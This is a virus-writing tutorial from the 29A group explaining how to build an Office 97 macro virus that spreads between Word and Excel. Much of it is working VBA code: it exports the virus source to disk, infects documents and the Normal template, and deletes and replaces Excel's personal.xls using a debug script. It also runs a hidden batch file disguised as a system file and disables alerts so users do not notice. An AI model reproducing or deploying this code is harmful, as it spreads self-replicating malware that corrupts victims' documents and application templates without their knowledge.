Tutorials - Cross Infection Tutorial for Office'97 PART I

Cross Infection Tutorial for Office'97 PART I
Reptile/29A
[Cross Infection Tutorial for Office'97 Part II]

Intro

When I started working on Office Cross Infections I had no idea how to jump from Word to Excel and vice versa. So I first began to research a bit on the OLE2 format but realized that it's very complex :P and can't be done in VBA (Visual Basic for Applications - all office'97 programs are using this). Then I tried to manage it with OLE Automation, but anyways this didn't work coz you have to import sum libs manually. After more researching I found sum info on DDE (Dynamic Data-Exchange). With DDE you can send data from one application to an other. I managed it to import code from word into excel using DDE and the SendKeys command. But this was way too suspicious becoz the user could see it very well. (VicodinES, Alt-F11 and me are sharing macro ideas/code since the beginning of the word/excel infecting idea... so all the cross infectors known till now could be seen as the success of our teamwork. Now Alt-F11 finally managed to write a less suspicious DDE macro virus by using DDE entries, gewd work man! ;)

Becoz of time pressure (mgl also wanted to be first :) I was switching from the DDE stuff to an idea I had while lying stoned to death in my bed after reading about the kewl import/export method - thanx again vic! The virus exports it's source to the harddisk and then dr0ps a global template (normal.dot for word and personal.xls for excel) that works as loader and imports the virus source again in the other application.

DDE vs. Strange Days method

To build your own opinion I'd recommend to first take a l00k at the strange days source (dr0pping a global template) and the shiver source (DDE) which are included in this issue.

Well, the main disadvantage of the strange days way is that the virus becomes extremely huge. The problem that it needs debug.exe to spread isn't a real problem at all coz everyone (even NT users) got it anyways.

On the other side the sucking thingy on DDE is that you have to start the other application before opening a channel and then you need to use the SendKeys command to force word to import the virus. At this moment word popps up of it's minimized state for a short moment and is noticeable/suspicious.

Anyways don't forget to read more about DDE in the part II of the cross infection tuto (DDE could also be interesting for other viruses)!

Basic Concept

Here I'll try to give an overview how an infected doc file gets processed and jumps to excel (excel to word works the same way - just vice versa)

 Word:			   *     c:\     *	   Excel:
			           *             *
                               * .---------. *
             1.) export virus  * | Lo.sys: | 4.) The next time excel is
             .------------------+| virus   |=================.  started per-
             | source to c:\   * | source  | *               |  sonal.xls
             |                 * '---------' *               +  will import
 .-----------------------. 3.) drop the loader  .--------------------------.
 | INFECTED DOC FILE:    |---------------------+| uninfected Personal.xls: |
 | virus source + loader |     *             *  | loader                   |
 '-----------------------'     *             *  '--------------------------'
  2.) infect | normal.dot      *             *               |  Lo.sys!
	         +		   *	         *	         +
 .-----------------------.     *             *  .--------------------------.
 | Infected normal.dot:  |     *             *  | *Infected* personal.xls: |
 | virus source + loader |     *             *  | virus source + loader    |
 '-----------------------'     *             *  '--------------------------'
  infect more| doc files       *             *               +
             |                 *             *   here the whole tale begins
   	         +		   *	         *   again..

Detailed Information

In this section the theory will get practised and the important stuff is explained step by step (word to excel only coz excel to word is the same thing again, just vice versa).

First you have to export the virus source code, so the loader will be l8r able to import it to excel.

   Application.VBE.ActiveVBProject.VBComponents("StrangeDays").Export "c:\lo.sys"

Ok, now you have to check if you are in word or excel. This can simply be done this way coz in excel there will never be an active document.

   If ActiveDocument = "" Then GoTo teonanacatl

Then check if normal.dot and the active document are infected.

   For i = 1 To NormalTemplate.VBProject.VBComponents.Count
   If NormalTemplate.VBProject.VBComponents(i).Name = "StrangeDays" Then r = True
   Next i
   For i = 1 To ActiveDocument.VBProject.VBComponents.Count
   If ActiveDocument.VBProject.VBComponents(i).Name = "StrangeDays" Then e = True
   Next i

If they're still clean you should infect them by using the standard import/ export infection technique to avoid the sr-2 protection.

   If e = False Then
   With ActiveDocument.VBProject
   With .VBComponents.Import("c:\lo.sys")
   End With
   End With
   ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
   End If
   If r = False Then
   With NormalTemplate.VBProject
   With .VBComponents.Import("c:\lo.sys")
   End With
   End With
   End If

Now you have to check if excel already is infected. This can be done in various ways, for example marking it in a file (like here) or in the registry.

   a = GetPrivateProfileStringA("29A", "Magic", "", b, 255, "c:\lo.idx")
   If b = "666" Then GoTo godsucks

After you're sure that excel is not infected yet, you must use api calls to access the registry and get the full path of excel.

   u = RegQueryValueExA(k, "Path", 0, REG_SZ, ByVal v$, s)
   u = RegCloseKey(k)
   For e = 1 To Len(v$)
   If Mid$(v$, e, 1) = Chr$(0) Then GoTo lizard
   h$ = h$ + Mid$(v$, e, 1)
   Next e
   lizard:

Ok, now you got the path of the original personal.xls which you have to delete and replace it with the corrupted one that imports the virus source.

   p = h$ + "\xlstart\personal.xls"
   DeleteFileA (p)
   Open "c:\a.scr" For Output As 1
   Print #1, "N PERSONAL.XLS"
   Print #1, "E 0100 D0 CF 11 E0 A1 B1 1A E1 00 00 00 00 00 00 00 00"
   Print #1, "E 0110 00 00 00 00 00 00 00 [...]
   Close 1

This is how the code of the personal.xls-loader looks:

 ===========================================================================
 Module name: syaDegnartS (Macro)
 ---------------------------------------------------------------------------
 Attribute VB_Name = "syaDegnartS"
 Sub Auto_Close()
 On Error GoTo argh
 Application.DisplayAlerts = False
 Application.EnableCancelKey = xlDisabled

 For i = 1 To Workbooks("personal.xls").VBProject.VBComponents.Count
 If Workbooks("personal.xls").VBProject.VBComponents(i).Name = "StrangeDays"
  Then GoTo argh
 Next i

 With Workbooks("personal.xls").VBProject
 With .VBComponents.Import("c:\lo.sys")
 End With
 End With

 Workbooks("personal.xls").Save
 argh:
 End Sub
 ===========================================================================

The code of the normal.dot-loader l00ks a bit diffrent but does the same:

 ===========================================================================
 Module name: syaDegnartS (Macro)
 ---------------------------------------------------------------------------
 Attribute VB_Name = "syaDegnartS"
 Sub AutoExec()
 On Error GoTo argh
 Application.DisplayAlerts = False
 Application.EnableCancelKey = wdDisabled

 For i = 1 To NormalTemplate.VBProject.VBComponents.Count
 If NormalTemplate.VBProject.VBComponents(i).Name = "StrangeDays" Then GoTo argh
 Next i

 With NormalTemplate.VBProject
 With .VBComponents.Import("c:\lo.sys")
 End With
 End With

 NormalTemplate.Save
 argh:
 End Sub
 ===========================================================================

Then you have to build a batch file that converts the debug script of normal.dot and copies it to the word template path and deletes all the other files, that you don't need anymore.

   Open "c:\start.bat" For Output As 1
   Print #1, "REM This is a system file. Do not edit or remove!"
   Print #1, "@echo off"
   Print #1, "c:"
   Print #1, "cd\"
   Print #1, "dir"
   Print #1, "debug < a.scr > nul"
   Print #1, "copy personal.xls " + p
   Print #1, "del a.scr"
   Print #1, "del personal.xls"
   Close 1
   Shell "c:\start.bat", vbHide

To finish the whole process mark excel as infected.

   c = WritePrivateProfileStringA("29A", "Magic", "666", "c:\lo.idx")

Diffrent AutoMacros

In word and excel the automacros are diffrent so don't forget to add an excel automacro that references to the word automacro else it won't be run.

For example this macro (and with it the virus code) is executed automatically by word every time a file gets closed.

   Sub AutoClose()
   (virus code)
   End Sub

While this macro is launched by excel every time a file gets opened. It then just calls the macro above (containing the virus code).

   Sub Auto_Open()
   Application.OnSheetActivate = "StrangeDays.AutoClose"
   End Sub

Cross Infector Info

Cross: http://www.avp.ch/avpve/macro/xmulti/cross.stm
Strange Days: http://www.avp.ch/avpve/macro/xmulti/teocatl.stm
Shiver: http://www.avp.ch/avpve/macro/xmulti/SHIVER.stm

Well I guess this is enough information for writing an own cross infex0r if I didn't forget too much details in my speedy rush..

see yah in hell,

-Reptile/29A-